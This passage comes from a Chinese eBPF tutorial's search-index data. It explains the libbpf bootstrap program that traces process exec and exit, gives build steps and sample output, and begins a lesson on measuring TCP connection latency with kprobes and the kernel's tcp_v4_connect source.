exec() 和 exit() 系统调用 » libbpf 库，以及为什么需要使用它","id":"64","title":"libbpf 库，以及为什么需要使用它"},"65":{"body":"Bootstrap 是一个使用 libbpf 的完整应用，它利用 eBPF 程序来跟踪内核中的 exec() 系统调用（通过 SEC(\"tp/sched/sched_process_exec\") handle_exec BPF 程序），这主要对应于新进程的创建（不包括 fork() 部分）。此外，它还跟踪进程的 exit() 系统调用（通过 SEC(\"tp/sched/sched_process_exit\") handle_exit BPF 程序），以了解每个进程何时退出。 这两个 BPF 程序共同工作，允许捕获关于新进程的有趣信息，例如二进制文件的文件名，以及测量进程的生命周期，并在进程结束时收集有趣的统计信息，例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 Bootstrap 还使用 argp API（libc 的一部分）进行命令行参数解析，使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性，让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现，但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性，不过也带来了不少额外的复杂度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 什么是 bootstrap","id":"65","title":"什么是 bootstrap"},"66":{"body":"Bootstrap 分为两个部分：内核态和用户态。内核态部分是一个 eBPF 程序，它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序，它使用 libbpf 库来加载和运行内核态程序，并处理从内核态程序收集的数据。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » Bootstrap","id":"66","title":"Bootstrap"},"67":{"body":"// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause\n/* Copyright (c) 2020 Facebook */\n#include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ struct task_struct *task; unsigned fname_off; struct event *e; pid_t pid; u64 ts; /* remember time exec() was executed for this PID */ pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); /* don't emit exec events when minimum duration is specified */ if (min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); /* successfully submit it to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); /* if process didn't live long enough, return early */ if (min_duration_ns && duration_ns < min_duration_ns) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码是一个内核态 eBPF 程序（bootstrap.bpf.c），主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件，并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。 首先，我们引入所需的头文件，定义 eBPF 程序的许可证以及两个 eBPF maps：exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map，用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map，用于存储捕获的事件数据，并将其发送到用户态程序。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"bootstrap.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, pid_t); __type(value, u64);\n} exec_start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); const volatile unsigned long long min_duration_ns = 0; 接下来，我们定义了一个名为 handle_exec 的 eBPF 程序，它会在进程执行 exec() 系统调用时触发。首先，我们从当前进程中获取 PID，记录进程开始执行的时间戳，然后将其存储在 exec_start map 中。 SEC(\"tp/sched/sched_process_exec\")\nint handle_exec(struct trace_event_raw_sched_process_exec *ctx)\n{ // ... pid = bpf_get_current_pid_tgid() >> 32; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY); // ...\n} 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名等。之后，我们将这些数据发送到用户态程序进行处理。 // reserve sample from BPF ringbuf e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; // fill out the sample with data task = (struct task_struct *)bpf_get_current_task(); e->exit_event = false; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); bpf_get_current_comm(&e->comm, sizeof(e->comm)); fname_off = ctx->__data_loc_filename & 0xFFFF; bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off); // successfully submit it to user-space for post-processing bpf_ringbuf_submit(e, 0); return 0; 最后，我们定义了一个名为 handle_exit 的 eBPF 程序，它会在进程执行 exit() 系统调用时触发。首先，我们从当前进程中获取 PID 和 TID（线程 ID）。如果 PID 和 TID 不相等，说明这是一个线程退出，我们将忽略此事件。 SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ // ... id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; // ...\n} 接着，我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳，我们将计算进程的生命周期（持续时间），然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间，则直接返回。 // if we recorded start of the process, calculate lifetime duration start_ts = bpf_map_lookup_elem(&exec_start, &pid); if (start_ts) duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); // if process didn't live long enough, return early if (min_duration_ns && duration_ns < min_duration_ns) return 0; 然后，我们从环形缓冲区 map rb 中预留一个事件结构，并填充相关数据，如进程 ID、父进程 ID、进程名、进程持续时间等。最后，我们将这些数据发送到用户态程序进行处理。 /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); e->exit_event = true; e->duration_ns = duration_ns; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这样，当进程执行 exec() 或 exit() 系统调用时，我们的 eBPF 程序会捕获相应的事件，并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出，并获取有关进程的详细信息。 除此之外，在 bootstrap.h 中，我们还定义了和用户态交互的数据结构： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n/* Copyright (c) 2020 Facebook */\n#ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN]; char filename[MAX_FILENAME_LEN]; bool exit_event;\n}; #endif /* __BOOTSTRAP_H */","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 内核态 eBPF 程序 bootstrap.bpf.c","id":"67","title":"内核态 eBPF 程序 bootstrap.bpf.c"},"68":{"body":"// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n/* Copyright (c) 2020 Facebook */\n#include <argp.h>\n#include <signal.h>\n#include <stdio.h>\n#include <time.h>\n#include <sys/resource.h>\n#include <bpf/libbpf.h>\n#include \"bootstrap.h\"\n#include \"bootstrap.skel.h\" static struct env { bool verbose; long min_duration_ms;\n} env; const char *argp_program_version = \"bootstrap 0.0\";\nconst char *argp_program_bug_address = \"<bpf@vger.kernel.org>\";\nconst char argp_program_doc[] =\n\"BPF bootstrap demo application.\\n\"\n\"\\n\"\n\"It traces process start and exits and shows associated \\n\"\n\"information (filename, process duration, PID and PPID, etc).\\n\"\n\"\\n\"\n\"USAGE: ./bootstrap [-d <min-duration-ms>] [-v]\\n\"; static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ switch (key) { case 'v': env.verbose = true; break; case 'd': errno = 0; env.min_duration_ms = strtol(arg, NULL, 10); if (errno || env.min_duration_ms <= 0) { fprintf(stderr, \"Invalid duration: %s\\n\", arg); argp_usage(state); } break; case ARGP_KEY_ARG: argp_usage(state); break; default: return ARGP_ERR_UNKNOWN; } return 0;\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)\n{ if (level == LIBBPF_DEBUG && !env.verbose) return 0; return vfprintf(stderr, format, args);\n} static volatile bool exiting = false; static void sig_handler(int sig)\n{ exiting = true;\n} static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; struct tm *tm; char ts[32]; time_t t; time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); if (e->exit_event) { printf(\"%-8s %-5s %-16s %-7d %-7d [%u]\", ts, \"EXIT\", e->comm, e->pid, e->ppid, e->exit_code); if (e->duration_ns) printf(\" (%llums)\", e->duration_ns / 1000000); printf(\"\\n\"); } else { printf(\"%-8s %-5s %-16s %-7d %-7d %s\\n\", ts, \"EXEC\", e->comm, e->pid, e->ppid, e->filename); } return 0;\n} int main(int argc, char **argv)\n{ struct ring_buffer *rb = NULL; struct bootstrap_bpf *skel; int err; /* Parse command line arguments */ err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Cleaner handling of Ctrl-C */ signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); /* Load and verify BPF application */ skel = bootstrap_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1; } /* Parameterize BPF code with minimum duration parameter */ skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; /* Load & verify BPF programs */ err = bootstrap_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } /* Attach tracepoints */ err = bootstrap_bpf__attach(skel); if (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup; } /* Set up ring buffer polling */ rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); if (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup; } /* Process events */ printf(\"%-8s %-5s %-16s %-7s %-7s %s\\n\", \"TIME\", \"EVENT\", \"COMM\", \"PID\", \"PPID\", \"FILENAME/EXIT CODE\"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; } } cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n} 这个用户态程序主要用于加载、验证、附加 eBPF 程序，以及接收 eBPF 程序收集的事件数据，并将其打印出来。我们将分析一些关键部分。 首先，我们定义了一个 env 结构，用于存储命令行参数： static struct env { bool verbose; long min_duration_ms;\n} env; 接下来，我们使用 argp 库来解析命令行参数： static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ // ...\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; main() 函数中，首先解析命令行参数，然后设置 libbpf 的打印回调函数 libbpf_print_fn，以便在需要时输出调试信息： err = argp_parse(&argp, argc, argv, 0, NULL, NULL);\nif (err) return err; libbpf_set_print(libbpf_print_fn); 接下来，我们打开 eBPF 脚手架（skeleton）文件，将最小持续时间参数传递给 eBPF 程序，并加载和附加 eBPF 程序： skel = bootstrap_bpf__open();\nif (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1;\n} skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; err = bootstrap_bpf__load(skel);\nif (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup;\n} err = bootstrap_bpf__attach(skel);\nif (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup;\n} 然后，我们创建一个环形缓冲区（ring buffer），用于接收 eBPF 程序发送的事件数据： rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);\nif (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup;\n} handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型（进程执行或退出），它会提取并打印事件信息，如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 最后，我们使用 ring_buffer__poll() 函数轮询环形缓冲区，处理收到的事件数据： while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); // ...\n} 当程序收到 SIGINT 或 SIGTERM 信号时，它会最后完成清理、退出操作，关闭和卸载 eBPF 程序： cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n}","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 用户态，bootstrap.c","id":"68","title":"用户态，bootstrap.c"},"69":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 安装依赖","id":"69","title":"安装依赖"},"7":{"body":"eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑，用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具，只需编写内核态部分的代码。 内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成，每个函数都有其特定的作用。可以使用的函数类型包括： kprobe：插探函数，在指定的内核函数前或后执行。 tracepoint：跟踪点函数，在指定的内核跟踪点处执行。 raw_tracepoint：原始跟踪点函数，在指定的内核原始跟踪点处执行。 xdp：网络数据处理函数，拦截和处理网络数据包。 perf_event：性能事件函数，用于处理内核性能事件。 kretprobe：函数返回插探函数，在指定的内核函数返回时执行。 tracepoint_return：跟踪点函数返回，在指定的内核跟踪点返回时执行。 raw_tracepoint_return：原始跟踪点函数返回，在指定的内核原始跟踪","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 编写 eBPF 程序","id":"7","title":"编写 eBPF 程序"},"70":{"body":"编译运行上述代码： $ make BPF .output/bootstrap.bpf.o GEN-SKEL .output/bootstrap.skel.h CC .output/bootstrap.o BINARY bootstrap\n$ sudo ./bootstrap [sudo] password for yunwei: TIME EVENT COMM PID PPID FILENAME/EXIT CODE\n03:16:41 EXEC sh 110688 80168 /bin/sh\n03:16:41 EXEC which 110689 110688 /usr/bin/which\n03:16:41 EXIT which 110689 110688 [0] (0ms)\n03:16:41 EXIT sh 110688 80168 [0] (0ms)\n03:16:41 EXEC sh 110690 80168 /bin/sh\n03:16:41 EXEC ps 110691 110690 /usr/bin/ps\n03:16:41 EXIT ps 110691 110690 [0] (49ms)\n03:16:41 EXIT sh 110690 80168 [0] (51ms)","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 编译运行","id":"70","title":"编译运行"},"71":{"body":"通过这个实例，我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集，可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf，您可以构建更高效、可扩展和安全的监控和性能分析工具。 在接下来的教程中，我们将继续深入探讨 eBPF 的高级特性，分享更多关于 eBPF 开发实践的内容。通过不断学习和实践，您将更好地理解和掌握 eBPF 技术，并将其应用于解决实际问题。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 总结","id":"71","title":"总结"},"72":{"body":"eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具，被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 本文是 eBPF 入门开发实践教程的第十三篇，主要介绍如何使用 eBPF 统计 TCP 连接延时，并使用 libbpf 在用户态处理数据。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据","id":"72","title":"eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据"},"73":{"body":"在进行后端开发时，不论使用何种编程语言，我们都常常需要调用 MySQL、Redis 等数据库，或执行一些 RPC 远程调用，或者调用其他的 RESTful API。这些调用的底层，通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点，因此在网络传输层协议中，TCP 的应用广泛程度超过了 UDP。然而，TCP 也有一些缺点，如建立连接的延时较长。因此，也出现了一些替代方案，例如 QUIC（Quick UDP Internet Connections，快速 UDP 网络连接）。 分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 背景","id":"73","title":"背景"},"74":{"body":"tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数（如通过 connect() 系统调用），并测量并显示连接延时，即从发送 SYN 到收到响应包的时间。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 工具概述","id":"74","title":"tcpconnlat 工具概述"},"75":{"body":"TCP 连接的建立过程，常被称为“三次握手”（Three-way Handshake）。以下是整个过程的步骤： 客户端向服务器发送 SYN 包：客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 SYN 包传送到服务器：这是一次网络传输，涉及到的时间取决于网络延迟。 服务器处理 SYN 包：服务器内核通过软中断接收包，然后将其放入半连接队列，并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 SYN/ACK 包传送到客户端：这是另一次网络传输。 客户端处理 SYN/ACK：客户端内核接收并处理 SYN/ACK 包，然后发送 ACK。这主要涉及软中断处理开销。 ACK 包传送到服务器：这是第三次网络传输。 服务器接收 ACK：服务器内核接收并处理 ACK，然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 唤醒服务器端用户进程：被 accept() 系统调用阻塞的用户进程被唤醒，然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 完整的流程图如下所示： tcpconnlat1 在客户端视角，在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下，可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后，就可以结合其他信息进行分析。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » TCP 连接原理","id":"75","title":"TCP 连接原理"},"76":{"body":"为了理解 TCP 的连接建立过程，我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列： 半连接队列（SYN 队列）：存储那些正在进行三次握手操作的 TCP 连接，服务器收到 SYN 包后，会将该连接信息存储在此队列中。 全连接队列（Accept 队列）：存储已经完成三次握手，等待应用程序调用 accept() 函数的 TCP 连接。服务器在收到 ACK 包后，会创建一个新的连接并将其添加到此队列。 理解了这两个队列的用途，我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分，其中包括了几个主要的跟踪点：tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。 这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时，这些跟踪点会被激活，从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 让我们先来看一下这些挂载点的源代码： SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} 这段代码展示了三个内核探针（kprobe）的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发，调用 trace_connect() 函数，而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发，调用 handle_tcp_rcv_state_process() 函数。 接下来的部分将分为两大块：一部分是对这些挂载点内核态部分的分析，我们将解读内核源代码来详细说明这些函数如何工作；另一部分是用户态的分析，将关注 eBPF 程序如何收集这些挂载点的数据，以及如何与用户态程序进行交互。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 的 eBPF 实现","id":"76","title":"tcpconnlat 的 eBPF 实现"},"77":{"body":"tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后，接着通过connect系统调用尝试连接到远程服务器，此时就会触发tcp_v4_connect函数。 /* This will initiate an outgoing connection. */\nint tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n{ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; struct inet_timewait_death_row *tcp_death_row; struct inet_sock *inet = inet_sk(sk); struct tcp_sock *tp = tcp_sk(sk); struct ip_options_rcu *inet_opt; struct net *net = sock_net(sk); __be16 orig_sport, orig_dport; __be32 daddr, nexthop; struct flowi4 *fl4; struct rtable *rt; int err; if (addr_len < sizeof(struct sockaddr_in)) return -EINVAL; if (usin->sin_family != AF_INET) return -EAFNOSUPPORT; nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr; } orig_sport = inet->inet_sport; orig_dport = usin->sin_port; fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, orig_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); return err; } if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { ip_rt_put(rt); return -ENETUNREACH; } if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; if (!inet->inet_saddr) { err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); if (err) { ip_rt_put(rt); return err; } } else { sk_rcv_saddr_set(sk, inet->inet_saddr); } if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { /* Reset inherited state */ tp->rx_opt.ts_recent = 0; tp->rx_opt.ts_recent_stamp = 0; if (likely(!tp->repair)) WRITE_ONCE(tp->write_seq, 0); } inet->inet_dport = usin->sin_port; sk_daddr_set(sk, daddr); inet_csk(sk)->icsk_ext_hdr_len = 0; if (inet_opt) inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; /* Socket identity is still unknown (sport may be zero). * However we set state to SYN-SENT and not releasing socket * lock select source port, enter ourselves into the hash tables and * complete initialization after this. */ tcp_set_state(sk, TCP_SYN_SENT); err = inet_hash_connect(tcp_death_row, sk); if (err) goto failure; sk_set_txhash(sk); rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, inet->inet_sport, inet->inet_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); rt = NULL; goto failure; } /* OK, now commit destination to socket. */ sk->sk_gso_type = SKB_GSO_TCPV4; sk_setup_caps(sk, &rt->dst); rt = NULL; if (likely(!tp->repair)) { if (!tp->write_seq) WRITE_ONCE(tp->write_seq, secure_tcp_seq(inet->inet_saddr, inet->inet_daddr, inet->inet_sport, usin->sin_port)); tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, inet->inet_daddr); } inet->inet_id = get_random_u16(); if (tcp_fastopen_defer_connect(sk, &err)) return err; if (err) goto failure; err = tcp_connect(sk); if (err) goto failure; return 0; failure: /* * This unhashes the socket and releases the local port, * if necessary. */ tcp_set_state(sk, TCP_CLOSE); inet_bhash2_reset_saddr(sk); ip_rt_put(rt); sk->sk_route_caps = 0; inet->inet_dport = 0; return err;\n}\nEXPORT_SYMBOL(tcp_v4_connect); 参考链接： https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340 接下来，我们一步步分析这个函数： 首先，这个函数接收三个参数：一个套接字指针sk，一个指向套接字地址结构的指针uaddr和地址的长度addr_len。 int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) 函数一开始就进行了参数检查，确认地址长度正确，而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 接下来，函数获取目标地址，如果设置了源路由选项（这是一个高级的IP特性，通常不会被使用），那么它还会获取源路由的下一跳地址。 nexthop = daddr = usin->sin_addr.s_addr;\ninet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk));\nif (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr;\n} 然后，使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址，函数返回错误。 接下来，它更新了源地址，处理了一些TCP时间戳选项的状态，并设置了目标端口和地址。之后，它更新了一些其他的套接字和TCP选项，并设置了连接状态为SYN-SENT。 然后，这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败，它会恢复套接字的状态并返回错误。 如果前面的步骤都成功了，接着，使用新的源和目标端口来更新路由项。如果这步失败，它会清理资源并返回错误。 接下来，它提交目标信息到套接字，并为之后的分段偏移选择一个安全的随机值。 然后，函数尝试使用TCP Fast Open（TFO）进行连接，如果不能使用TFO或者TFO尝试失败，它会使用普通的TCP三次握手进行连接。 最后，如果上面的步骤都成功了，函数返回成功，否则，它会清理所有资源并返回错误。 总的来说，tcp_v4_connect函数是一个处理TCP连接请求的复杂函数，它处理了很多情况，包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open，等等。它的主要目标是尽可能安全和有效地建立TCP连接。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcp_v4_connect 函数解析","id":"77","title":"tcp_v4_connect 函数解析"},"78":{"body":"// SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_tracing.h>\n#include \"tcpconnlat.h\" #define AF_INET 2\n#define AF_INET6 10 const volatile __u64 targ_min_us = 0;\nconst volatile pid_t targ_tgid = 0; struct piddata { char comm[TASK_COMM_LEN]; u64 ts; u32 